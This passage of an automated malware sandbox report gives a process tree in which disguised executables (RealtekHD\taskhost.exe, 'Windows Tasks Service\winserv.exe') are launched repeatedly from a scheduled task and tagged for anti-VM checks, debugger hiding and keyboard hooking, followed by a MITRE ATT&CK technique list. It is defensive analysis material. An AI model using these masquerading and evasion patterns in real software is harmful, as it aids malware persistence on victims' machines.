      PID:2624
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2920
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2864
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:3036
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2876
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2784
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:1652
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:1672
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:1768
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2148
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2196
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:844
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:1268
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2840
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2428
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:520
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2404

C:\Windows\system32\taskeng.exe
taskeng.exe {50F130C7-EE6A-4FCE-948B-2BB5E52A2718} S-1-5-21-3499517378-2376672570-1134980332-1000:MLXLFKOI\Admin:Interactive:[1]
1⤵
PID:2316
- C:\Programdata\RealtekHD\taskhost.exe
  C:\Programdata\RealtekHD\taskhost.exe
  2⤵
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2448
- C:\Programdata\RealtekHD\taskhost.exe
  C:\Programdata\RealtekHD\taskhost.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1728
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2080
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2916
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1824
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2656
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3016
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2876
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2160
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2460
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:520
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:696
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1624
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1932
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1204
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1904
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2548
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:608
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2428
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:976
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:320
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2468
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1400
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:2860
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3028
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1440
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:288
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1612
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2448
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:524
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:2388
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2560
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:2164
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3024
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3004
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1732
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:892
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1752
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1916
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:560
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:2476
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:2336

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1655646735-2041414570880566388-3423028631493794227614542722-1699644239104140782"
1⤵
PID:916

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService
1⤵
- Loads dropped DLL
PID:2124

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Account Manipulation

T1098

Modify Existing Service

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Winlogon Helper DLL

T1004

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Impair Defenses

T1562

Modify Registry

Virtualization/Sandbox Evasion

T1497

Credential Access

Account Manipulation

T1098

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery